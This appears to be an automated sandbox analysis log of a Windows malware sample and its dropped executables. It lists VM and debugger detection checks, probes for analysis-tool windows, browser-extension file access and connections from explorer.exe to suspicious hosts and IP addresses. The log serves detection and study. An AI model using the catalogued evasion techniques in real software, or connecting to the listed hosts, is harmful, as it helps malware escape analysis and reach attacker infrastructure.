Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to evade analysis by execution special instruction which cause usermode exception

Show sources

Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Special instruction interceptor: First address: 0000000001440920 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Special instruction interceptor: First address: 0000000000C755F6 instructions 0F3F070BC745FCFFFFFFFF33C033D2 caused by: Unknown instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Special instruction interceptor: First address: 0000000000C757EA instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Special instruction interceptor: First address: 0000000000C7D7BE instructions 0F3F070BC745FCFFFFFFFF33C033D2 caused by: Unknown instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Special instruction interceptor: First address: 0000000000C7C7DB instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Special instruction interceptor: First address: 0000000000C7F742 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Special instruction interceptor: First address: 0000000000C84E30 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Special instruction interceptor: First address: 00000000014441E8 instructions 0F0B caused by: Known instruction #UD exception

Query firmware table information (likely to detect VMs)

Show sources

Source: C:\Users\user\AppData\Local\Temp\8CA5.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Show sources

Source: C:\Users\user\AppData\Local\Temp\8CA5.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: H4HU4rg1NM.exe, 00000003.00000002.338133899.0000000001F30000.00000004.00000001.sdmp, 325D.exe, 00000017.00000002.415253560.000000000065B000.00000004.00000020.sdmp

Binary or memory string: ASWHOOK

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Local\Temp\110B.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\iudbdfd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\iudbdfd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\iudbdfd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\iudbdfd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\iudbdfd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\iudbdfd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Local\Temp\110B.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

Code function: 25_2_00406AA0

25_2_00406AA0

Source: C:\Windows\explorer.exe TID: 6644	Thread sleep count: 568 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6676	Thread sleep count: 247 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6668	Thread sleep count: 306 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6668	Thread sleep time: -30600s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3016	Thread sleep count: 397 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5652	Thread sleep count: 169 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3024	Thread sleep count: 250 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4960	Thread sleep count: 325 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe TID: 2940	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe TID: 1312	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe TID: 5528	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe TID: 6088	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe TID: 5156	Thread sleep count: 45 > 30
Source: C:\Users\user\AppData\Local\Temp\7728.exe TID: 4104	Thread sleep time: -60000s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\110B.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 568	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 397	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Window / User API: threadDelayed 644	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Window / User API: threadDelayed 1320	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

Code function: 25_2_00406AA0

25_2_00406AA0

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll			Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\56DF.exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\110B.exe	Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	File opened / queried: VBoxGuest
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\110B.exe

Code function: 28_2_00F0ACA0 sldt word ptr [eax]

28_2_00F0ACA0

Source: C:\Users\user\AppData\Local\Temp\110B.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\110B.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior

Source: C26E.exe, 00000029.00000002.592046919.0000000006542000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: C26E.exe, 00000029.00000002.592046919.0000000006542000.00000004.00000001.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareZZE5X2NNWin32_VideoControllerBV5TBEP4VideoController120060621000000.000000-000742.0216display.infMSBDAVMTPSGDUPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsKLKNBMEO
Source: explorer.exe, 0000000D.00000000.305026106.0000000000B7D000.00000004.00000020.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 8CA5.exe, 00000025.00000002.526552463.00000000006F1000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW8
Source: 110B.exe	Binary or memory string: c17ORNhV9oqkZjp0JiyH0sRMZDg/NasGdrO15iIQ+6sgnCme33DD61FTRys5Oxc17aBG682VBbi4mUmme154heXqxpTBBrgsLShzdSLVJkEik+SidQawAAZTw1dmBHgFSV
Source: explorer.exe, 0000000D.00000000.330381041.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000D.00000000.305026106.0000000000B7D000.00000004.00000020.sdmp	Binary or memory string: War&Prod_VMware_SATA
Source: 4D1A.exe, 00000019.00000002.441039139.000000000081B000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWst4.com
Source: explorer.exe, 0000000D.00000000.315477557.0000000008778000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000}
Source: explorer.exe, 0000000D.00000000.326180694.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000D.00000000.330381041.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}&
Source: explorer.exe, 0000000D.00000000.326180694.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000m32)
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp, 4D1A.exe, 00000019.00000002.441039139.000000000081B000.00000004.00000001.sdmp, 7728.exe, 00000023.00000002.577211180.000000000286D000.00000004.00000001.sdmp, 8CA5.exe, 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp, 8CA5.exe, 00000025.00000002.526552463.00000000006F1000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: 7728.exe, 00000023.00000002.576923274.000000000283F000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW G
Source: 9B5C.exe, 00000028.00000002.571443845.0000000001117000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllvv{r
Source: 7728.exe, 00000023.00000002.577211180.000000000286D000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW_
Source: explorer.exe, 0000000D.00000000.330381041.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: 110B.exe, 0000001E.00000002.551688741.0000000000CBF000.00000004.00000020.sdmp, C26E.exe, 00000029.00000002.567934081.0000000001354000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_0041AA72 BuildCommDCBAndTimeoutsA,GetNamedPipeHandleStateA,ReleaseMutex,AddAtomA,TzSpecificLocalTimeToSystemTime,SetConsoleCursorInfo,VerifyVersionInfoW,TlsGetValue,CopyFileA,GetLongPathNameA,SetVolumeMountPointW,GetProcessPriorityBoost,FreeEnvironmentStringsA,VerifyVersionInfoA,FindFirstFileExA,	22_2_0041AA72
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	25_2_00401280
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	25_2_00401090
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	25_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	25_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	25_2_00409970

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Tries to detect sandboxes and other dynamic analysis tools (window names)

Show sources

Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: windbgframeclass

Hides threads from debuggers

Show sources

Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Thread information set: HideFromDebugger

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\iudbdfd	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\325D.exe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

1_2_00432AE0

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_004E0042 push dword ptr fs:[00000030h]	1_2_004E0042
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_00735C15 push dword ptr fs:[00000030h]	1_2_00735C15
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 17_2_004E0042 push dword ptr fs:[00000030h]	17_2_004E0042
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_005B0042 push dword ptr fs:[00000030h]	22_2_005B0042
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00401000 mov eax, dword ptr fs:[00000030h]	25_2_00401000
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_0040C180 mov eax, dword ptr fs:[00000030h]	25_2_0040C180
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_007B1F83 push dword ptr fs:[00000030h]	25_2_007B1F83
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Code function: 35_2_00A6C0A3 push dword ptr fs:[00000030h]	35_2_00A6C0A3
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Code function: 35_2_00B00D90 mov eax, dword ptr fs:[00000030h]	35_2_00B00D90
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Code function: 35_2_00B0092B mov eax, dword ptr fs:[00000030h]	35_2_00B0092B
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Code function: 35_2_00BC206B push dword ptr fs:[00000030h]	35_2_00BC206B

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\iudbdfd	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugFlags
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugObjectHandle

Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	File opened: SICE

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

Code function: 1_2_00424E30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

1_2_00424E30

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

Code function: 25_2_004048D0 VirtualProtect ?,00000004,00000100,00000000

25_2_004048D0

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

1_2_0041C7B7

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_00424E30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00424E30
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_0042C6A0 SetUnhandledExceptionFilter,	1_2_0042C6A0
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_00428380 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00428380
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_00424E60 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	22_2_00424E60
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_0042C6D0 SetUnhandledExceptionFilter,	22_2_0042C6D0
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_004283B0 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_004283B0

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Domain query: downloafilesaccess.ddns.net
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
